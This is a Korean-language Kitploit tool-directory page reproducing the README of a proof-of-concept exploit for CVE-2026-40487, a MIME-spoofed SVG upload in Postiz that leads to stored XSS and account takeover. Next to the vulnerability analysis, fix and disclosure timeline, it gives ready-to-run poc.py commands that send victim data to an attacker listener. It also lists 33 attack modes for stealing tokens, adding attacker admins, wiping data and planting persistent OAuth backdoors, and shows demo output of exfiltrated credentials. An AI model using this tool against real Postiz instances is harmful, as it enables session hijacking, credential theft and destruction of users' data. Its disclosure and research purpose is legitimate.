Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-40487 — CVE-2026-40487에 대한 개념 증명 익스플로잇으로, MIME 스푸핑을 통한 임의 파일 업로드를 시연하여 Postiz에서 저장형 XSS 및 계정 탈취로 이어집니다. 데이터 유출, 권한 상승, 지속성을 위한 여러 공격 모드를 포함합니다. | Kitploit
도구/GitHubGitHub/astaruf/cve-2026-40487
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingPayload Development
GitHubastaruf/cve-2026-40487

CVE-2026-40487

CVE-2026-40487에 대한 개념 증명 익스플로잇으로, MIME 스푸핑을 통한 임의 파일 업로드를 시연하여 Postiz에서 저장형 XSS 및 계정 탈취로 이어집니다. 데이터 유출, 권한 상승, 지속성을 위한 여러 공격 모드를 포함합니다.

저장소 보기
324개월 전아직 검토되지 않음
웹사이트

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-40487 - Postiz <= 2.21.5 - MIME 유형 스푸핑을 통한 임의 파일 업로드 → 저장형 XSS → 계정 탈취

발견 및 보고: Astaruf

전체 분석 문서: https://nstsec.com/en/posts/postiz-xss-cve-2026-40487/

NVD 항목: https://nvd.nist.gov/vuln/detail/CVE-2026-40487

GHSA 항목: https://github.com/gitroomhq/postiz-app/security/advisories/GHSA-44wg-r34q-hvfx

CVE 레코드: https://www.cve.org/CVERecord?id=CVE-2026-40487


요약

Postiz는 28개 이상의 플랫폼 통합(Instagram, X, LinkedIn, Facebook, TikTok 등)을 지원하는 오픈소스 소셜 미디어 관리 도구로, 인터넷에 노출된 600개 이상의 인스턴스에서 사용되고 있습니다.

낮은 권한의 공격자는 스푸핑된 Content-Type: image/png 헤더를 가진 악성 SVG(또는 HTML) 파일을 업로드할 수 있습니다. 서버는 실제 파일 내용을 검사하지 않고 파일을 수락하며, 원래 확장자를 유지하고, nginx는 해당 확장자에서 파생된 Content-Type(image/svg+xml)으로 파일을 제공합니다. 피해자가 URL을 열면 임베디드 JavaScript가 애플리케이션의 오리진에서 실행되어 공격자에게 계정 탈취에 해당하는 완전한 세션 하이재킹 기능을 제공합니다.

공격 체인:

root@kitploit:~
공격자가 Content-Type: image/png 헤더로 .svg 업로드
  -> 서버가 Content-Type 헤더만 검증 (CWE-345)
    -> 파일이 원래 .svg 확장자로 디스크에 저장됨 (CWE-434)
      -> nginx가 image/svg+xml로 제공
        -> 브라우저가 임베디드 JavaScript 실행 (CWE-79)
          -> 동일 오리진: 피해자 세션에 대한 완전한 접근 권한

영향

XSS 페이로드는 애플리케이션과 동일 오리진에서 실행됩니다. 인증 쿠키가 HttpOnly이더라도 credentials: "include"를 사용한 fetch()가 자동으로 쿠키를 첨부합니다. 공격자는 다음을 수행할 수 있습니다:

  • 피해자의 프로필, API 키, 연결된 모든 소셜 계정의 OAuth 토큰 탈취
  • 모든 플랫폼에서 예약된 게시물 읽기, 생성, 수정, 삭제
  • 피해자의 조직에 공격자를 관리자로 초대
  • 영구적인 OAuth 백도어 생성(만료되지 않고 비밀번호 변경에도 유지되는 pos_* 토큰)
  • 알림 비활성화, 구성 삭제, 강제 로그아웃
  • 피해자로 인증된 임의 API 호출 실행

취약점 상세

세 가지 구성 요소가 독립적으로 실패하여 공격 체인을 구성합니다:

1. MIME 유형 검증이 클라이언트 입력을 신뢰함 (CWE-345)

libraries/nestjs-libraries/src/upload/custom.upload.validation.ts:

root@kitploit:~
const validation =
  (value.mimetype.startsWith('image/') ||
    value.mimetype.startsWith('video/mp4')) &&
  value.size <= maxSize;

value.mimetype은 공격자가 제어하는 multipart 요청의 Content-Type 헤더에서 옵니다. 매직 바이트 검사가 없으며, file-type과 같은 라이브러리도 사용되지 않습니다.

2. 원래 확장자가 디스크에 보존됨 (CWE-434)

libraries/nestjs-libraries/src/upload/local.storage.ts:

root@kitploit:~
const filePath = `${dir}/${randomName}${extname(file.originalname)}`;
writeFileSync(filePath, file.buffer);

extname(file.originalname)은 클라이언트가 제공한 파일명에서 확장자를 추출합니다. 선언된 MIME 유형과 확장자 간의 일치 여부를 확인하지 않습니다. 서버는 또한 응답에서 전체 공개 URL을 반환하므로 공격자는 피해자에게 보낼 링크를 얻습니다.

3. nginx가 확장자에서 파생된 Content-Type으로 제공

root@kitploit:~
http {
    include       /etc/nginx/mime.types;
    location /uploads/ {
        alias /uploads/;
    }
}

nginx는 .svg를 image/svg+xml로, .html을 text/html로 매핑합니다. Content-Security-Policy, X-Content-Type-Options: nosniff, Content-Disposition: attachment가 없습니다.

개념 증명

요구 사항

root@kitploit:~
Python 3.8+
pip install requests

빠른 시작

root@kitploit:~
# 1. 대상이 취약한지 확인
python3 poc.py http://target:5000 -e [email protected] -p password --check

# 2. 피해자로부터 모든 데이터 탈취
python3 poc.py http://target:5000 -e [email protected] -p password \
    --lhost YOUR_IP -a full-dump

# 3. 영구 백도어 생성
python3 poc.py http://target:5000 -e [email protected] -p password \
    --lhost YOUR_IP -a create-oauth-app

# 4. 자격 증명 없이 토큰 재사용
python3 poc.py http://target:5000 -t pos_XXXX...XXXX \
    --lhost YOUR_IP -a full-dump

공격 흐름

root@kitploit:~
공격자                    Postiz 서버              피해자
    |                              |                        |
    |-- 1. 로그인/가입 ------------>|                        |
    |-- 2. 악성 SVG 업로드 -------->|                        |
    |<---- 파일 URL ----------------|                        |
    |-- 3. URL을 피해자에게 전송 --------------------------->  |
    |                              |<--- 4. URL 열기 ------- |
    |                              |--- SVG + JS ---------> |
    |<-------------- 5. JS 실행, 데이터 탈취 ----------------|

모든 공격 모드 (33)

탈취 (19개 모드) - 피해자 데이터 탈취
모드설명
dump-self피해자 프로필, 조직 정보, 등급, API 키
dump-personal표시 이름, 소개, 프로필 사진
dump-integrations연결된 소셜 미디어 통합 및 토큰
dump-posts예약 및 초안 게시물 (최근 365일)
dump-team팀 구성원, 역할, 이메일 주소
dump-media미디어 라이브러리 목록
dump-notifications알림 기록
dump-signatures게시물 서명
dump-webhooks구성된 웹훅 및 해당 URL
dump-oauth-appOAuth 앱 자격 증명 (clientId, secret)
dump-copilotAI 코파일럿 대화 스레드
dump-billing결제 및 구독 정보
dump-settings단축 링크 및 알림 설정
dump-third-party타사 통합 구성
dump-autopost자동 게시 규칙
dump-sets콘텐츠 세트
dump-tags게시물 태그
dump-customers고객 목록
full-dump위의 모든 항목을 단일 페이로드로
권한 상승 (3개 모드)
모드설명
add-admin피해자의 조직에 공격자를 ADMIN으로 초대 (--attacker-email)
rotate-key조직 API 키 교체 및 탈취
rotate-oauthOAuth 앱 시크릿 교체 및 탈취
파괴 (9개 모드) - 파괴적 작업
모드설명
kill-notifications모든 이메일 알림 비활성화
edit-profile피해자의 이름 및 소개 수정 (--edit-name, --edit-bio)
wipe-signatures모든 게시물 서명 삭제
wipe-webhooks모든 웹훅 삭제
wipe-tags모든 태그 삭제
wipe-sets모든 콘텐츠 세트 삭제
wipe-autopost모든 자동 게시 규칙 삭제
logout-victim피해자 강제 로그아웃
delete-oauth-app피해자의 OAuth 애플리케이션 삭제
백도어 (2개 모드) - 영구 접근
모드설명
create-oauth-appOAuth 앱 생성, 자동 승인, 영구 pos_* 토큰 탈취 (--oauth-redirect)
steal-cookiedocument.cookie를 통한 인증 JWT 탈취 (NOT_SECURED=true일 때)
일반 (2개 모드) - 고급
모드설명
api-call인증된 임의 API 호출 (--api-method, --api-path, --api-body)
custom임의 JavaScript 실행 (--custom-js)

추가 옵션

옵션설명
--check대상이 취약한지 탐지 (공격 실행 없음)
--register로그인 전 새 계정 등록
-t / --token자격 증명 대신 API 키 또는 pos_* 토큰 사용
--format htmlSVG 대신 HTML 페이로드 사용
--proxyHTTP/SOCKS 프록시를 통한 트래픽 라우팅 (예: Burp Suite)
-o / --output획득 데이터를 JSON 파일로 저장

데모

root@kitploit:~
$ python3 poc.py http://target:5000 -e [email protected] -p S3cret! --lhost 10.0.0.1 -a full-dump

 ██████╗██╗   ██╗███████╗        ██╗  ██╗  ██████╗  ██╗  ██╗  █████╗  ███████╗
██╔════╝██║   ██║██╔════╝        ██║  ██║ ██╔═████╗ ██║  ██║ ██╔══██╗ ╚════██║
██║     ██║   ██║█████╗   -2026- ███████║ ██║██╔██║ ███████║ ╚█████╔╝     ██╔╝
██║     ╚██╗ ██╔╝██╔══╝          ╚════██║ ████╔╝██║ ╚════██║ ██╔══██╗    ██╔╝
╚██████╗ ╚████╔╝ ███████╗             ██║ ╚██████╔╝      ██║ ╚█████╔╝    ██║
 ╚═════╝  ╚═══╝  ╚══════╝             ╚═╝  ╚═════╝       ╚═╝  ╚════╝     ╚═╝

  Postiz <= 2.21.5 — MIME 스푸핑 파일 업로드를 통한 저장형 XSS

[*] [email protected]으로 로그인 중 ...
[+] 인증 완료.
[*] 페이로드 생성 중: 단일 페이로드로 모든 데이터 탈취
[*] Content-Type: image/png 헤더로 악성 .svg 업로드 중 ...
[+] 업로드 성공.
    ID:   28c1daee-d83e-403e-bc1f-dba63182d4b0
    경로: http://target:5000/uploads/2026/04/15/4be19b2244eb.svg
[*] 0.0.0.0:8888에서 탈취 리스너 시작 중 ...

=================================================================
  이 URL을 피해자에게 보내세요:

  http://target:5000/uploads/2026/04/15/4be19b2244eb.svg

=================================================================

[*] 피해자가 링크를 열기를 기다리는 중 ...

[+] 2026-04-15 03:45:41에 획득 데이터 수신
    태그: victim-profile
    데이터: {"email":"[email protected]","orgId":"...","publicApi":"bd332945..."}

[+] 2026-04-15 03:45:41에 획득 데이터 수신
    태그: integrations
    데이터: [{"id":"...","providerIdentifier":"instagram","token":"IGQVJ..."}]

[+] 2026-04-15 03:45:42에 획득 데이터 수신
    태그: team-members
    데이터: [{"userId":"...","email":"[email protected]","role":"SUPERADMIN"}]
    ...

수정 사항

버전 2.21.6에서 세 가지 변경 사항이 도입되었습니다:

  1. 매직 바이트 검증 - file-type 라이브러리를 사용하여 실제 파일 내용 검사
  2. 명시적 MIME 유형 허용 목록 (더 이상 image/* 포괄 허용 없음)
  3. 확장자 재정의 - 감지된 콘텐츠 유형 기반

타임라인

날짜이벤트
2026-04-10소스 코드 검토 중 취약점 발견
2026-04-10GitHub Security Advisory (GHSA)를 통해 보고
2026-04-10개발자가 확인하고 설명 요청
2026-04-10상세 공격 시나리오 및 Shodan 데이터 제공
2026-04-11증거와 함께 CVSS 이의 제기 제출
2026-04-13v2.21.6에서 수정 사항 릴리스
2026-04-14CVE-2026-40487 지정
2026-04-15공개 공개

참고 자료

  • Astaruf 전체 분석 문서
  • CVE-2026-40487 - GHSA 보안 권고
  • CVE-2026-40487 - NVD 항목
  • Postiz - 공식 저장소
  • Postiz v2.21.6 - 수정 릴리스
  • CWE-345: 데이터 신뢰성 검증 부족
  • CWE-434: 위험한 유형의 파일 무제한 업로드
  • CWE-79: 저장형 크로스 사이트 스크립팅
  • OWASP - 무제한 파일 업로드

면책 조항

이 도구는 공인된 보안 테스트 및 교육 목적으로만 제공됩니다. 소유한 시스템 또는 명시적인 서면 허가를 받은 시스템에만 사용하십시오. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 작성자는 오용에 대해 어떠한 책임도 지지 않습니다.

라이선스

MIT

도구 다운로드